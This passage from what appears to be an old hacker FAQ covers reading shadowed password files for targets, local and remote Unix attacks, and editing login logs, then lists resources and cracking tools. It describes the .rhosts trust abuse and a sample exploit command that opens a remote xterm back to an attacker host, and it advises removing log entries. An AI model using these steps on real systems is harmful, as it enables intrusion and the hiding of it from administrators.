comes to mind) allow you to configure exactly what is allowed and not
allowed as far as how the password field is used.
It should be noted most modern systems come with password shadowing
already set up and configured.
2255..66.. SSoo wwhhaatt ccaann II lleeaarrnn wwiitthh aa ppaasssswwoorrdd ffiillee ffrroomm aa hheeaavviillyy sseeccuurreedd
ssyysstteemm??
Okay, so you've gained access to a system and can see the password
file, but it is shadowed. Here is an example:
root:!:0:0:root:/root:/bin/tcsh
bin:!:1:1:bin:/bin:
daemon:!:2:2:daemon:/sbin:
adm:!:3:4:adm:/var/adm:
lp:!:4:7:lp:/var/spool/lpd:
sync:!:5:0:sync:/sbin:/bin/sync
shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown
halt:!:7:0:halt:/sbin:/sbin/halt
mail:!:8:12:mail:/var/spool/mail:
news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
operator:!:0:0:operator:/root:/bin/tcsh
games:!:12:100:games:/usr/games:
man:!:13:15:man:/usr/man:
postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh
httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd:
nobody:!:65535:100:nobody:/dev/null:
ftp:!:404:100::/home/ftp:/bin/nologin
nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh
Some of the more interesting things about this password file are:
+o User "operator" has a user number of zero, so this user is root
equiv.
+o Eight accounts have interactive shells, so you have eight targets
for direct shell access.
+o Multiple services, such as news, web, and possibly anonymous ftp
are configured on the box.
+o User "nomad" apparently has an older account called "thegnome"
which may not be currently in use, making it a prime target for
attack.
+o User "webadmin" looks to be an account that is shared among
multiple people.
+o The telephone prefix is 525 (fire up the wardialer and look for a
modem).
+o Suspicious "dorkus" account. There may exist an account for Fred on
another box (check for .rhosts, etc).
2266.. UUnniixx LLooccaall AAttttaacckkss
This section deals with attacking Unix from a local account or from
the console itself.
2266..11.. WWhhyy aattttaacckk llooccaallllyy??
When you are trying to attack and gain root on a file server, a method
to start with is to gain at least limited access on a system. There
are large numbers of exploits to "bust root" but many require you have
an account on the box. Here is an example attack scenario:
+o Gain access to server lame.nmrc.org via guest account (note to
idiots: this is a non-existant example of a server).
+o Note that it's running an older version of Linux.
+o Prowl around on Bugtraq, rootshell, or some other place with
exploit code, and find an exploit for one of the outdated or
unpatched programs or subsystems.
+o Compile and run it to become root.
+o Brag to all your friends and on IRC so you get caught and go to
jail (this step is optional).
2266..22.. HHooww ddoo mmoosstt eexxppllooiittss wwoorrkk??
There are several different attack techniques you can use from a local
account and the handy exploit you are running. Here are a few common
ones with extremely simple explanations:
MMiissccoonnffiigguurraattiioonn
If excessive permission exist on certain directories and files,
these can lead to gaining higher levels of access. For example,
if /dev/kmem is writable it is possible to rewrite your UID to
match root's. Another example would be if a .rhosts file has
read/write permissions allowing anyone to write them. Yet
another example would be a script launched at startup, cron, or
respawned. If this script is editable, you could add commands to
run with the same privileges as who started them (particularly
for startup rc files this would be as root).
PPoooorr SSUUIIDD
Sometimes you will find scripts (shell or Perl) that perform
certain tasks and run as root. If the scripts are writable by
your id, you can edit it and run it. For example I once found a
shutdown script world writable. By adding a few lines at the
beginning of the script it was possible to have the script
create a root shell in /tmp.
BBuuffffeerr OOvveerrffllooww
Buffer overflows are typically used to spawn root shells from a
process running as root. A buffer overflow could occur when a
program has a buffer for user-defined data and the user-defined
data's length is not checked before the program acts upon it.
See the next question for more details.
RRaaccee CCoonnddiittiioonnss
A Race Condition is when a program creates a short opportunity
for evil by opening a small window of vulnerability. For
example, a program that alters a sensitive file might use a
temporary backup copy of the file during its alteration. If the
permissions on that temporary file allow it to be edited, it
might be possible to alter it before the program finishes its
editing process.
PPoooorr TTeemmpp FFiilleess
Many programs create temporary files while they run. If a
program runs as root and is not careful about where it puts its
temp files and what permissions these temp files have, it might
be possible to use links to create root-owned files.
2266..33.. SSoo hhooww ddooeess aa bbuuffffeerr oovveerrffllooww wwoorrkk??
A buffer overflow works as follows:
- Program eleetd has unchecked user input and is owned by root.
- Hacker creates program that sends user input greater than what eleetd's buffer for the input
will hold.
- Hacker has made sure that this data when placed upon the stack will alter the next instruction
the CPU will execute.
- Hacker runs evil program and the hacker's command, /bin/sh, runs as root, dropping the hacker
to a shell running as root.
For example, if the buffer holds 108 bytes, the hacker creates a
program that sends more than 108 bytes to that buffer. By carefully
crafting the extra bytes starting at byte 109, the hacker can make the
program execute additional commands.
For more information on buffer overflows, check out Mudge's tutorial
on writing them at http://www.l0pht.com/advisories/bufero.html
<http://www.l0pht.com/advisories/bufero.html>, or read this overview
in a paper called "Compromised - Buffer Overflows, from Intel to SPARC
Version 8", available from http://www.l0pht.com/advisories/bufitos.pdf
<http://www.l0pht.com/advisories/bufitos.pdf> (Acrobat version) or
http://www.l0pht.com/advisories/buf.ps
<http://www.l0pht.com/advisories/buf.ps> (PostScript version). Another
fine article appeared in Phrack 49, File 14, called "Smashing The
Stack For Fun And Profit" by Aleph One. Phrack issues can be
downloaded from http://www.phrack.com <http://www.phrack.com>.
2277.. UUnniixx RReemmoottee AAttttaacckkss
This section deals with hacking Unix systems remotely.
2277..11.. WWhhaatt aarree rreemmoottee hhaacckkss??
A remote hack is when you attack the server you are not logged into.
Usually this is done from another server, although in some cases you
can do it from a regular PC (depending on the operating system).
Guessing a user account and password (unless it is a guest account) on
a remote system is BARELY considered a "remote hack", so we'll not
really cover that. We'll assume you don't know an account name and
password on the remote system.
Remote hacks come in a couple of different flavors. Usually exploiting
an existing service running on the victim's server (which is
misconfigured or allows too much access) is the typical exploit.
Exporting an NFS mount read/write to anyone might not be a bad thing,
but if you can NFS mount directories containing .rhosts files, then it
can be a very bad thing. Also, certain daemons running might be
subject to buffer overflows remotely, allowing someone from a remote
location run arbitrary commands on the victim's server.
Here are a couple of examples:
- You are root on a host named badguy.
- You discover the host victim is exporting /home2/old read/writable to the world.
- You also discover by fingering various accounts that user fred's home directory is
/home2/old/fred and he hasn't logged in for months.
- Quickly, you create a fred account on badguy.
- Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
- After you become fred on badguy, you rlogin to victim as fred.
Here's another attack involving a buffer overflow:
- This remote system is running named.
- You have written a named exploit that allows you to send arbitrary commands through
the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
- You type: sploit victim.nmrc.org "/usr/X11R6/bin/xterm -display badguy.whatever:0"
- A window appears on your terminal that is running as root on victim.nmrc.org.
2288.. UUnniixx LLooggggiinngg
This section contains info regarding logging for Unix.
2288..11.. WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn UUnniixx??
Log files for Unix vary from flavor to flavor. But there are a few
guidelines as to where these logs are kept.
System log files and accounting files are in /var/adm, /var/log, or
sometimes /usr/adm. Common log files include messages, syslog, and on
some systems sulog. Checking /etc/defaults and /etc/syslog.conf may
reveil more. Also wtmp, utmp, and lastlog will contain information
regarding logins.
The most important one will probably be syslog. Most utilities,
including security add-on programs can write to syslog, so it make a
handy location for dumping info. But bear in mind that there are a lot
of processes that might log to separate log files. Here are some
potential files to look for:
File Purpose
------------------- ---------------------------------------
/var/spool/cron/log Cron log file
/var/log/maillog Logs inbound and outbound mail activity
/var/spool/lp/log Log file for printing
There are more, but this should give you an idea.
2288..22.. HHooww ddoo II eeddiitt//cchhaannggee tthhee lloogg ffiilleess ffoorr UUnniixx??
Most of these files are text files and can be easily edited, assuming
you have the permission to do so. But some of these files require you
to write special tools to edit them, mainly the utmp, wtmp, and
possibly lastlog. A good "universal" editor (meaning it will run on
most Unix systems) can be found at
http://www.nmrc.org/files/unix/remove.c
<http://www.nmrc.org/files/unix/remove.c>. It will allow you to
selectively remove entries from these files.
2299.. HHaacckkeerr RReessoouurrcceess
This section contains information regarding resources for hackers.
2299..11.. WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd WWWWWW llooccaattiioonnss??
While there are dozens of WWW sites with information, here is a list
of some that deal mainly with security, or with some of the tools
discussed in this FAQ.
NT: http://www.l0pht.com/l0phtcrack/
<http://www.l0pht.com/l0phtcrack/> http://www.somarsoft.com/
<http://www.somarsoft.com/> http://www.ntsecurity.com/
<http://www.ntsecurity.com/> http://listserv.ntbugtraq.com/
<http://listserv.ntbugtraq.com/> http://www.ntresearch.com/
<http://www.ntresearch.com/> http://www.ntinternals.com/
<http://www.ntinternals.com/> http://www.intrusion.com/
<http://www.intrusion.com/> http://www.iss.net/ <http://www.iss.net/>
http://samba.anu.edu.au/pub/samba/samba.html
<http://samba.anu.edu.au/pub/samba/samba.html>
http://home.eunet.no/~pnordahl/ntpasswd/
<http://home.eunet.no/~pnordahl/ntpasswd/>
http://www.dataprotect.com/ntfrag/
<http://www.dataprotect.com/ntfrag/>
Netware: http://www.novell.com/ <http://www.novell.com/>
http://www.novell.de/ <http://www.novell.de/>
http://www.salford.ac.uk/ais/Network/Novell-Faq.html
<http://www.salford.ac.uk/ais/Network/Novell-Faq.html>
http://mft.ucs.ed.ac.uk/ <http://mft.ucs.ed.ac.uk/>
http://www.efs.mq.edu.au/novell/faq
<http://www.efs.mq.edu.au/novell/faq> http://occam.sjf.novell.com:8080
<http://occam.sjf.novell.com:8080> http://www.safe.net/safety/
<http://www.safe.net/safety/> http://www.users.mis.net/~gregmi/
<http://www.users.mis.net/~gregmi/>
http://www.rad.kumc.edu/share/novell/apps/
<http://www.rad.kumc.edu/share/novell/apps/> http://www.cis.ohio-
state.edu/hypertext/faq/usenet/netware/security/faq.html
<http://www.cis.ohio-
state.edu/hypertext/faq/usenet/netware/security/faq.html>
Packet Sniffing: http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/
<http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/>
2299..22.. WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd UUSSEENNEETT ggrroouuppss??
Tons o' newsgroups....
Security in general: comp.security.announce comp.security.firewalls
comp.security.misc alt.security alt.2600
Web stuff: comp.infosystems.www.authoring.cgi
comp.infosystems.www.servers.misc comp.infosystems.www.servers.ms-
windows
NT Security: comp.os.ms-windows.nt.admin.security
NT in general: comp.os.ms-windows.networking.misc comp.os.ms-
windows.networking.ras comp.os.ms-windows.networking.tcp-ip
comp.os.ms-windows.networking.win95 comp.os.ms-
windows.networking.windows comp.os.ms-windows.nt.admin.misc
comp.os.ms-windows.nt.admin.networking comp.os.ms-windows.nt.advocacy
comp.os.ms-windows.nt.announce comp.os.ms-windows.nt.misc comp.os.ms-
windows.nt.pre-release comp.os.ms-windows.nt.setup.hardware
comp.os.ms-windows.nt.setup.misc comp.os.ms-
windows.nt.software.backoffice comp.os.ms-
windows.nt.software.compatibility comp.os.ms-
windows.nt.software.services comp.os.ms-windows.programmer.networks
comp.os.ms-windows.programmer.nt.kernel-mode
Netware Security: comp.os.netware.security
Netware in general: comp.os.netware.misc comp.os.netware.announce
comp.os.netware.connectivity
Microsoft's newsgroups: microsoft.public.windowsnt.40beta
microsoft.public.windowsnt.apps microsoft.public.windowsnt.domain
microsoft.public.windowsnt.dsmnfpnw microsoft.public.windowsnt.fsft
microsoft.public.windowsnt.mac microsoft.public.windowsnt.mail
microsoft.public.windowsnt.misc microsoft.public.windowsnt.print
microsoft.public.windowsnt.protocol.misc
microsoft.public.windowsnt.protocol.ras
microsoft.public.windowsnt.protocol.tcpip
microsoft.public.windowsnt.setup
2299..33.. WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd mmaaiilliinngg lliissttss??
The NT-security mailing list:
To subscribe, send a message with SUBSCRIBE in the body to ntsecurity-
request@iss.net.
NT-BugTraq:
Like the BugTraq list, this is a full disclosure list. Send "subscribe
ntbugtraq firstname lastname" (without the quotes) in the body of a
message to listserv@listserv.ntbugtraq.com.
2299..44.. WWhhaatt aarree ssoommee ootthheerr FFAAQQss??
The NT Security FAQ -- geared toward administrators:
http://www.it.kth.se/~rom/ntsec.html
<http://www.it.kth.se/~rom/ntsec.html>
2299..55.. WWhheerree aarree aallll ooff tthheessee ffiilleess mmeennttiioonneedd iinn tthhee FFAAQQ??
Archive What Is It Where Is It
---------------- ---------------- -----------------------------------------
c50a-nt-0.20.tgz Crack 5.0 for NT http://www.nmrc.org/files/snt/
cifs.txt Hobbit's NetBios http://199.103.168.8:2001/web1/hak/cifs.txt
Paper
lc15src.tar.gz L0phtcrack 1.5 \
for Unix \
lc15exe.zip L0phtcrack 1.5 \ ftp://dot.ishboo.com/l0pht/
for DOS/NT / http://www.nmrc.org/files/snt/
lc15src.zip L0phtcrack 1.5 /
DOS/NT source /
L0phtcrack 2.0 Main shareware http://www.l0pht.com/l0phtcrack/
package
windowsnt.tgz Netbios Auditing ftp://ftp.secnet.com/pub/tools/
Tool 1.0
ncnt090.zip Netcat for NT http://www.nmrc.org/files/nt/
netmonex.tgz NetMon Exploit http://www.nmrc.org/files/nt/
NTCrack.tar.gz NT Crack 2.0 http://www.nmrc.org/files/snt/
ntfsdos.zip NTFS Access http://www.nmrc.org/files/nt/
passwd.zip Passwd http://wwwthep.physik.uni-mainz.de/~frink
pwdump.exe Password Dump http://www.nmrc.org/files/snt
samba-* Samba ftp://samba.anu.edu.au/pub/samba/
smbfs-2.0.1.tgz smbmount sunsite.unc.edu/pub/Linux/filesystems/smbfs
tpu.zip Therion's http://www.nmrc.org/files/msdos/
Password Utility
Reference in New Issue View Git Blame Copy Permalink